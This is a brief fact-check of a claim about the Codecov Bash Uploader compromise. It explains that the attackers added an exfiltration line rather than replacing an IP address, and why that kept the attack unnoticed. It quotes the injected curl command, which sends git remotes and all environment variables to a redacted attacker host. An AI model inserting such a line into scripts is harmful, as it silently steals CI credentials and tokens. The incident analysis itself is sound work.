The attackers replaced Codecov's IP address in the Bash Uploader

Assessment

The mechanism described is not what happened, though the outcome described is real. The code Codecov published, and which Rapid7 reproduced independently, is an addition to the script rather than a substitution: curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<redacted>/upload/v2 || true Nothing was replaced. The uploader continued posting coverage reports to Codecov normally, and the added line sent a second copy of the environment to attacker infrastructure alongside it. The distinction is the whole explanation for the incident's duration. Had Codecov's own endpoint been substituted, coverage reports would have stopped arriving — a visible, immediate failure that customers and Codecov would both have noticed within days. Because the malicious line was additive, silent, capped at 500 milliseconds and terminated with `|| true` so it could never fail a build, there was no symptom to observe. Sixty days of undetected collection is a direct consequence of the mechanism being an addition, and describing it as a substitution removes the reason the attack worked.